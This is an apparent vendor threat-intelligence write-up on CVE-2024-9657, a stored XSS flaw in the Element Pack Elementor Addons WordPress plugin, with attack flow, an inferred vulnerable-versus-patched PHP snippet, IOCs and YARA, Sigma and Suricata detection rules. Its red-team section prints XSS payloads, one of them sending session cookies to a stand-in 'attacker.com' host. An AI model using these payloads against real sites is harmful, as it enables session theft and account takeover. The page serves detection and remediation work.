CVE-2024-9657
Executive Summary
CVE-2024-9657 is a Stored Cross-Site Scripting (XSS) vulnerability in the Element Pack Elementor Addons plugin for WordPress, developed by Bdthemes. The flaw resides in the tooltip parameter, which is insufficiently sanitized and escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious payload, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability affects all versions up to and including 5.10.2. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for WordPress sites using this plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. It does not affect Apache, Nginx, or any other web server software. The attack vector relies on the plugin’s failure to properly handle user input within the WordPress admin interface.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires Contributor-level access or higher
- User Interaction: None (UI:N)
- Scope: Changed (S:C) – the vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L) – limited data exposure
- Integrity Impact: Low (I:L) – limited modification of data
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is 6.5, the requirement for authenticated access reduces the immediate risk. However, the potential for privilege escalation (e.g., stealing admin cookies) and the widespread use of Elementor addons elevate the overall threat.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS in the tooltip parameter of the Element Pack plugin. The plugin likely uses this parameter to display tooltip text on elements. The input is not properly sanitized (e.g., using wp_kses() or esc_attr()) before being stored in the database and later rendered on the frontend.
Attack Flow:
- An attacker with Contributor-level access (or higher) creates or edits a post/page using Elementor.
- The attacker adds an Element Pack widget that supports tooltips.
- In the widget settings, the attacker injects a malicious JavaScript payload into the
tooltipfield, e.g.,<img src=x onerror=alert('XSS')>. - The plugin stores this payload in the WordPress database without sanitization.
- When any user (including admins) views the page, the payload executes in their browser.
Why it works: WordPress’s built-in wp_kses() is not applied to this specific parameter, and the plugin’s output escaping (e.g., esc_attr()) is missing or insufficient.
Vulnerable vs. Patched Code
Since no official patch is available, we can only infer the fix. The vulnerable code likely looks like:
// Vulnerable code (example)
$tooltip = $_POST['tooltip']; // or get_post_meta()
echo '<div class="element-pack-tooltip" data-tooltip="' . $tooltip . '">';
The patched version should sanitize the input and escape the output:
// Patched code (example)
$tooltip = sanitize_text_field( $_POST['tooltip'] ); // or wp_kses()
echo '<div class="element-pack-tooltip" data-tooltip="' . esc_attr( $tooltip ) . '">';
Key differences:
- Input:
sanitize_text_field()strips HTML tags. - Output:
esc_attr()escapes special characters for safe HTML attribute rendering.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- WordPress instance with Element Pack Addons <= 5.10.2
- Contributor-level account credentials
Steps:
- Log in as a Contributor.
- Create a new post or page using Elementor.
- Add an Element Pack widget that supports tooltips (e.g., "Advanced Heading" or "Tooltip").
- In the widget settings, locate the
tooltipfield. - Inject the following payload:
<img src=x onerror=alert(document.cookie)> - Save/publish the page.
- As an admin or another user, visit the page. The JavaScript executes.
Advanced Payload (session hijacking):
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual
tooltipparameter values in post meta or Elementor data. - Look for base64-encoded or obfuscated JavaScript in tooltip fields.
Hardening:
- Disable the plugin until a patch is released.
- Restrict Contributor-level access to trusted users only.
- Use a Web Application Firewall (WAF) to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to mitigate script execution.
Indicators of Compromise (IOCs)
File-based:
- Modified post/page content containing
<script>tags or event handlers (e.g.,onerror,onload) in tooltip fields. - Suspicious entries in
wp_postmetatable withmeta_keycontainingtooltipandmeta_valuecontaining JavaScript.
- Modified post/page content containing
Network-based:
- Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- Requests containing
tooltipparameter with encoded JavaScript.
Log-based:
- WordPress audit logs showing Contributor-level users editing posts with unusual tooltip values.
- Web server logs with
POSTrequests to/wp-admin/admin-ajax.phpcontainingtooltipparameter.
Detection Engineering
YARA Rule
rule CVE_2024_9657_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Element Pack tooltip parameter"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-9657"
strings:
$tooltip_field = /tooltip["']?\s*[:=]\s*["'][^"']*<script/i
$event_handler = /on(error|load|click|mouseover)\s*=\s*["']?[^"']*\(/i
$img_xss = /<img[^>]+onerror\s*=\s*["']?[^"']*\(/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-9657 Stored XSS in Element Pack Tooltip
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via the tooltip parameter in Element Pack Elementor Addons
author: Valters IT
date: 2024-10-27
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'tooltip'
cs-uri-query|re: '(?:<script|onerror|onload|javascript:)'
condition: selection
falsepositives:
- Legitimate use of tooltip with safe HTML (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-9657 Stored XSS in Element Pack Tooltip"; flow:to_server,established; content:"POST"; http_method; content:"tooltip"; http_client_body; pcre:"/(?:<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Review all Contributor-level users and revoke access if unnecessary.
- Scan the database for existing XSS payloads in post meta (search for
tooltipfields containing<script>or event handlers).
Long-term Fix:
- Apply the vendor patch when available (check Bdthemes’ changelog).
- If no patch is forthcoming, consider replacing the plugin with an alternative.
Workarounds:
- Use a WAF rule to block requests containing
tooltipwith suspicious patterns. - Implement CSP headers:
Content-Security-Policy: script-src 'self'; - Restrict file uploads and use
wp_kses()in custom code.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.